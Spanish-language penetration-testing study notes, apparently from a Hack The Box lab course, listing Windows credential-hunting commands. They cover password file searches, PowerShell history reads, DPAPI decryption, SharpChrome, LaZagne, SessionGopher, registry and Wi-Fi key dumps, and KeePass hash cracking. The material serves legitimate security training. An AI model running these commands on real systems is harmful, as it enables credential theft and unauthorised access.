# Credential Hunting

## Buscando archivos

```powershell
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml
```

## Archivos de diccionario de Chrome

```powershell
gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' | Select-String password
```

## Archivos de instalación desatendida

`Unattend.xml`. Pueden encontrarse copias de seguridad de estos archivos.

```xml
<?xml version="1.0" encoding="utf-8"?>
<unattend xmlns="urn:schemas-microsoft-com:unattend">
    <settings pass="specialize">
        <component name="Microsoft-Windows-Shell-Setup" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
            <AutoLogon>
                <Password>
                    <Value>local_4dmin_p@ss</Value>
                    <PlainText>true</PlainText>
                </Password>
                <Enabled>true</Enabled>
                <LogonCount>2</LogonCount>
                <Username>Administrator</Username>
            </AutoLogon>
            <ComputerName>*</ComputerName>
        </component>
    </settings>
```

## Archivo de historial de PowerShell

```
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
```

Confirmación de la ruta de guardado del historial de PowerShell

```
(Get-PSReadLineOption).HistorySavePath
```

Lectura del historial de PowerShell

```powershell
gc (Get-PSReadLineOption).HistorySavePath
```

Recuperar el contenido de todos los archivos del historiald e PowerShell a los que podemos acceder como nuestro usuario actual. Siempre volver a verificar estos archivos cada vez que tengamos acceso a otro usuario.

```powershell
foreach($user in ((ls C:\users).fullname)){cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}
```

## Credenciales de PowerShell

Las credenciales están protegidas mediante DPAPI, solo pueden ser descifradas por el mismo usuario en la misma computadora en la que fueron creadas.

```powershell
# Connect-VC.ps1
# Get-Credential | Export-Clixml -Path 'C:\scripts\pass.xml'
$encryptedPassword = Import-Clixml -Path 'C:\scripts\pass.xml'
$decryptedPassword = $encryptedPassword.GetNetworkCredential().Password
Connect-VIServer -Server 'VC-01' -User 'bob_adm' -Password $decryptedPassword
```

Descifrar credenciales de PowerShell suponiendo que se obtuvo ejecución de comandos

```powershell
PS C:\htb> $credential = Import-Clixml -Path 'C:\scripts\pass.xml'
PS C:\htb> $credential.GetNetworkCredential().username

bob

PS C:\htb> $credential.GetNetworkCredential().password

Str0ng3ncryptedP@ss!
```

## Credenciales guardadas de Cmdkey

El comando `cmdkey` se puede usar para crear, listar y eliminar nombres de usuarios y contraseñas guardadas.&#x20;

```sh
C:\htb> cmdkey /list

    Target: LegacyGeneric:target=TERMSRV/SQL01
    Type: Generic
    User: inlanefreight\bob
```

Si hay contraseñas guardadas, se pueden usar para conexiones de servicios.

Reusar credenciales usando `runas` para enviar una reverse shell, ejecutar un binario o lanzar una consola PowerShell o CMD.

```
runas /savecred /user:inlanefreight\bob "COMMAND HERE"
```

## Credenciales del navegador

Recuperar credenciales guardadas de Chrome con [sharpdpapi](https://estebanzarate.gitbook.io/hackache/tools/sharpdpapi "mention")

```powershell
.\SharpChrome.exe logins /unprotect
```

## Password Managers

KeePass, 1Password, Thycotic o CyberArk. KeePass se guarda localmente, archivos con extensión `.kdbx`. Se transfiere el archivo con extensión `.kdbx` y se usa `keepass2john` para extraer el hash del password y crackearlo con [hashcat](https://estebanzarate.gitbook.io/hackache/tools/hashcat "mention") o [john-the-ripper](https://estebanzarate.gitbook.io/hackache/tools/john-the-ripper "mention").

```
keepass2john.py ILFREIGHT_Help_Desk.kdbx
hashcat -m 13400 keepass_hash /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt
```

## Email

Buscar en el correo electrónico del usuario términos como `pass`, `creds`, `credentials` con [mailsniper](https://estebanzarate.gitbook.io/hackache/tools/mailsniper "mention").

## LaZagne

Recuperar credenciales de distintos software.

```powershell
.\lazagne.exe all
```

## SessionGopher

Extraer credenciales guardadas en PuTTY, WinSCP, FileZilla, SuperPuTTY and RDP.

```powershell
Import-Module .\SessionGopher.ps1
Invoke-SessionGopher -Target WINLPE-SRV01
```

## Almacenamiento de contraseñas en texto claro en el registro

[Autologon](https://learn.microsoft.com/en-us/troubleshoot/windows-server/user-profiles-and-logon/turn-on-automatic-logon) permite a usuarios configurar Windows para iniciar sesión automáticamente sin ingresar el nombre del usuario y contraseña. Una vez configurado el usuario y contraseña se guarda en el registro en texto claro.

```sh
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
```

## Putty

Para sesiones Putty que utilizan una conexión proxy, cuando se guarda la sesión, las credenciales se guardan en el registro en texto claro.

Enumerar las sesiones guardadas disponibles

```sh
reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions
```

Analizar las claves y valores de la sesión descubierta

```sh
reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20ssh
```

## Wifi passwords

Visualizar redes inalámbricas guardadas

```sh
netsh wlan show profile
```

Recuperar contraseñas inalámbricas guardadas

```sh
netsh wlan show profile ilfreight_corp key=clear
```
